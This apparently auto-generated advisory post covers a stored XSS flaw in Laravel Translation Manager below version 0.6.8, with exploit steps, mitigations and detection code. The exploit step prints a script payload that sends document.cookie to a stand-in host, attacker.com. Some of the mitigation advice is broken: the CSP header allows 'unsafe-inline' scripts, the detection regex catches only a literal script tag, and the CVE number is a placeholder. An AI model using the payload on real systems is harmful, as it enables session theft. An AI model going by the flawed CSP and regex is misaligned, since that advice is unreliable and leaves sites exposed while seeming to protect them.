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The vulnerability (CVE-2025-XXXX) in Laravel Translation Manager (versions < 0.6.8) allows stored XSS attacks due to insufficient input sanitization. Attackers can inject malicious JavaScript via translation entries, which persists in the database and executes when rendered in the admin interface. This occurs because user-supplied translations are directly embedded into the page without proper escaping, enabling session hijacking or data theft. The flaw requires admin-level access, limiting exposure but posing risks in multi-user environments. Patch 0.6.8 introduces HTML encoding for dynamic content.
DailyCVE Form:
Platform: Laravel Translation Manager
Version: < 0.6.8
Vulnerability: Stored XSS
Severity: Moderate
Date: Jun 9, 2025
Prediction: Patch deployed (0.6.8).
What Undercode Say:
Exploit:
1. Authenticate as admin.
2. Inject payload via translation key/value:
<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>
3. Trigger rendering in admin panel.
Mitigation:
1. Upgrade to v0.6.8:
composer require barryvdh/laravel-translation-manager:0.6.8
2. Manual sanitization (if upgrade delayed):
// In TranslationController.php
public function saveTranslation(Request $request) {
$cleanInput = htmlspecialchars($request->input('value'), ENT_QUOTES);
// Store $cleanInput
}
3. CSP header (add to middleware):
header("Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'");
Detection:
Scan for unescaped output in views:
grep -r "{!!" resources/views/
Log suspicious translation edits:
// In Translation model
protected static function boot() {
parent::boot();
static::updating(function($translation) {
if (preg_match('/<script>/i', $translation->value)) {
Log::alert("XSS attempt: " . request()->ip());
}
});
}
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Reported By: github.com
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